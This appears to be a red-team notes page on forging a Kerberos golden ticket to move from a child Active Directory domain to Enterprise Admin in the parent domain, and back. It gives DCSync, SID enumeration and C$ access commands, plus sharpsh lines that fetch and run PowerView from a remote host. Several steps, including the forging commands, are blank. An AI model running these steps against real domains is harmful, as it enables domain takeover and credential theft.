githubEdit

Golden Ticket

Child Domain to Parent Domain

Creating golden ticket to be a part of EA within the parent domain from the child domain

1) Get krbtgt token from the child domain using DCSync

krbtgt -> ffffffffffffffffffffffffffffffff

2) Try to access CIFS on DC02

ls //dc02.domain.com/c$

3) Check the tickets

execute -o klist

4) Get the SIDs for the forest domain and its child

Get-DomainSID -Domain child.domain.com
Get-DomainSid -Domain domain.com
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainSid -Domain child.domain.com"'
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainSid -Domain domain.com"'

We get

S-1-5-21-2032401531-514583578-4118012345
S-1-5-21-1135011135-3178090508-3151412345

5) Draft golden ticket - user can be anything bogus - sid is current domain SID and SIDs is child's - Also -519 is the EA group identifier and is static

6) Check the tickets

7) Try accessing the C$ now

8) Go into client -> nt auth\system shell and then

Parent Domain to Child Domain

All this or just add yourself into EA by being a DA on the parent domain

1) DCSync to do SharpKatz - Only the DA -> Admin can do it hence we do runas above

Hashes

2) Get the SIDs for the domain

We get

3) Draft golden ticket - user can be anything bogus - sid and sids are same with sids containing group id for EA

4) Check the tickets

5) Try accessing the C$ now

6) Go into client -> nt auth\system shell and then

Last updated